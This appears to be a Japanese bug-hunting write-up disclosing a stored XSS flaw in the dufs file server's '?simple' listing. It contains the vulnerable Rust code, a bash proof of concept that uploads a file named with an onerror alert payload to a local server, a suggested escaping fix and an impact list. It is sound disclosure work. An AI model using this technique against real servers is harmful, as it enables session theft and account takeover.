Bughunt:🔍 エスケープされていないファイル名を介した保存型XSS (GHSA-c47g-2m49-r7hv)
Bughunt:🔍 エスケープされていないファイル名を介した保存型XSS (GHSA-c47g-2m49-r7hv)
Summary
- Title: Stored XSS via unescaped filename in ?simple output
- Credits: sl91994
- Status: 報告済み (Closed)
クエリパラメータ (simple) の安全ではない内部実装により,ファイル名又はディレクトリ名がJavascriptで書かれているファイルがアップロードされた状態で,該当ファイルが存在する階層において?simple を使用すると,そのJavascriptが実行されるStored XSS の脆弱性が存在します.
Details
- Date of Vulnerability Discovery: 2025-02-03
- Verified version: dufs v0.45.0
- Primary CWE:
- CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
- CVSS Scores:
- Medium
send_index() 関数において simple パラメータは,ファイル名又はディレクトリ名のサニタイズ・エスケープ処理をせず,直接 Content-Type: text/html として返します.
server.rs (lines 1179-1281)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#[allow(clippy::too_many_arguments)]
fn send_index(
&self,
path: &Path,
mut paths: Vec<PathItem>,
exist: bool,
query_params: &HashMap<String, String>,
head_only: bool,
user: Option<String>,
access_paths: AccessPaths,
res: &mut Response,
) -> Result<()> {
// ...
if has_query_flag(query_params, "simple") {
let output = paths
.into_iter()
.map(|v| {
if v.is_dir() {
format!("{}/\n", v.name)
} else {
format!("{}\n", v.name)
}
})
.collect::<Vec<String>>()
.join("");
res.headers_mut()
.typed_insert(ContentType::from(mime_guess::mime::TEXT_HTML_UTF_8));
res.headers_mut()
.typed_insert(ContentLength(output.len() as u64));
*res.body_mut() = body_full(output);
if head_only {
return Ok(());
}
return Ok(());
}
// ...
}
PoC
XSSの成功を確認する際は,ブラウザでの手動確認が必要です.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/bin/bash
set -e
# PoC: Stored XSS via unescaped filename in ?simple output
# Tested: dufs v0.45.0
# Affected: Unknown (requires vendor confirmation)
# Vulnerability: When ?simple query parameter is used, filenames are returned without HTML escaping with Content-Type: text/html, allowing stored XSS
# Execution condition: The project root must be the current directory.
ROOT_DIR="/tmp/dufs-poc-$$/root"
PORT=15555
payload="<img src=x onerror=alert(\"XSS-Successful\")>"
evil_file="$payload.txt"
# Cleanup function to remove temp files and kill server
cleanup() {
echo "[*] Cleaning up..."
rm -rf "$ROOT_DIR"
pkill -f "dufs.*$PORT" 2>/dev/null || true
sleep 1
}
trap cleanup EXIT
# Step 1: Setup environment
echo "[*] Step 1: Setup environment"
rm -rf "$ROOT_DIR"
mkdir -p "$ROOT_DIR"
# end Step 1
# Step 2: Start dufs server with allow_upload=true
echo "[*] Step 2: Start dufs server (allow_upload=true)"
# Get the dufs binary path (prefer release)
DUFS_BIN=$(find ./target -maxdepth 3 -type f -executable -name dufs \
\( -path "*/release/*" -o -path "*/debug/*" \) 2>/dev/null | sort -r | head -1)
if [ -z "$DUFS_BIN" ]; then
echo "Error: dufs binary not found. Run 'cargo build' first." >&2
exit 1
fi
echo "Using binary: $DUFS_BIN"
# launch background dufs and log output
# --allow-symlink defaults to false
$DUFS_BIN "$ROOT_DIR" --allow-upload --port $PORT --log-file /tmp/dufs-poc-$$.log > /dev/null 2>&1 &
DUFS_PID=$!
echo " dufs started with PID $DUFS_PID on port $PORT"
sleep 2
# Verify server is running
if ! kill -0 $DUFS_PID 2>/dev/null; then
echo "[!] ERROR: dufs failed to start"
exit 1
fi
encoded_file=$(python3 -c "import urllib.parse, sys; print(urllib.parse.quote(sys.stdin.read().strip()))" <<< "$evil_file")
# Step 3: Upload payload file
echo "[*] Step 3: Upload payload file"
echo "Uploading payload file to dufs server..."
HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X PUT \
"http://127.0.0.1:$PORT/$encoded_file" \
-H "Content-Type: text/plain")
echo " HTTP Status: $HTTP_STATUS"
echo ""
# Step 4: Verify upload (200 OK or 201 Created)
if [ "$HTTP_STATUS" -ne 200 ] && [ "$HTTP_STATUS" -ne 201 ]; then
echo "[!] ERROR: File upload failed with status $HTTP_STATUS"
exit 1
fi
# Step 5: Access the uploaded file (Manual verification via browser is required)
echo "To verify the XSS payload, open the following URL in a web browser:"
echo "http://127.0.0.1:$PORT/?simple"
read -p "Press [Enter] to stop the server and clean up..."
echo "[*] Stopping dufs server..."
sleep 1
攻撃可能な条件:
--allow-uploadが許可されていること- 被害者が
?simpleクエリを使用してアクセスすること
Impact
推奨される修正: ?simple での表示においても,ファイル名に対して escape_str_pcdata() 関数を使用してHTMLエスケープ処理を行う.この関数は既にWebDAV出力およびnoscript出力で使用されており,一貫したエスケープ処理が可能です.
server.rs (lines 1208-1219)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if has_query_flag(query_params, "simple") {
let output = paths
.into_iter()
.map(|v| {
// [FIX]: Modified to perform escape processing by passing through the escape_str_pcdata function instead of using v.name directly.
let escaped_name = escape_str_pcdata(&v.name);
if v.is_dir() {
format!("{}/\n", escaped_name)
} else {
format!("{}\n", escaped_name)
}
})
.collect::<Vec<String>>()
.join("");
}
影響:
- セッションハイジャック: 認証トークン/Cookieの窃取により,攻撃者が被害者のアカウントを乗っ取り可能
- 任意操作の実行: 被害者の権限でファイルの削除,アップロード,移動,ダウンロードが可能
- 永続的攻撃: 一度アップロードされたペイロードは,
?simpleでアクセスする全ユーザーに影響 - 情報窃取: ページ上の機密情報やファイル一覧を攻撃者のサーバーに送信可能
- XSSワームの拡散: 自動的に他のファイルに悪意のあるファイル名をコピーして拡散
This post is licensed under CC BY 4.0 by the author.